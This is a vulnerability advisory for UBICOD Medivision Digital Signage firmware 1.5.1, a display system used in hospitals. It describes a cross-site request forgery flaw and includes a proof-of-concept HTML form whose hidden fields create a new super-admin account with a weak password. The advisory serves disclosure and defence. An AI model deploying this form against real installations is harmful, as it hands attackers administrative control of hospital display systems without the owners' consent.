UBICOD Medivision Digital Signage 1.5.1 CSRF Add Super Admin  
Vendor: UBICOD Co., Ltd. | MEDIVISION INC.  
Product web page:  
Affected version: Firmware 1.5.1 (2013.01.3)  
Summary: Medivision is a service that provides everything from DID operation to  
development of DID (Digital Information Display) optimized for hospital environment  
and production of professional contents, through DID product installation, image,  
video content planning, design work, and remote control. This is a one-stop solution  
that solves management at once.  
Desc: The application interface allows users to perform certain actions via HTTP  
requests without performing any validity checks to verify the requests. This can  
be exploited to perform certain actions with administrative privileges if a logged-in  
user visits a malicious web site.  
Tested on: Apache/2.4.7 (Ubuntu)  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
Advisory ID: ZSL-2020-5574  
Advisory URL:  
<form action="" method="POST">  
<input type="hidden" name="aa[_id]" value="" />  
<input type="hidden" name="aa[uid]" value="testingus2" />  
<input type="hidden" name="aa[name]" value="TestN" />  
<input type="hidden" name="aa[pass]" value="123456" />  
<input type="hidden" name="aa[email]" value="" />  
<input type="hidden" name="aa[mobile]" value="111-222-3333" />  
<input type="hidden" name="aa[phone]" value="333-222-1111" />  
<input type="hidden" name="aa[approval]" value="+" />  
<input type="hidden" name="aa[grp]" value="3" />  
<input type="hidden" name="od[]" value="name" />  
<input type="hidden" name="ip" value="0" />  
<input type="hidden" name="np" value="13" />  
<input type="submit" value="Submit request" />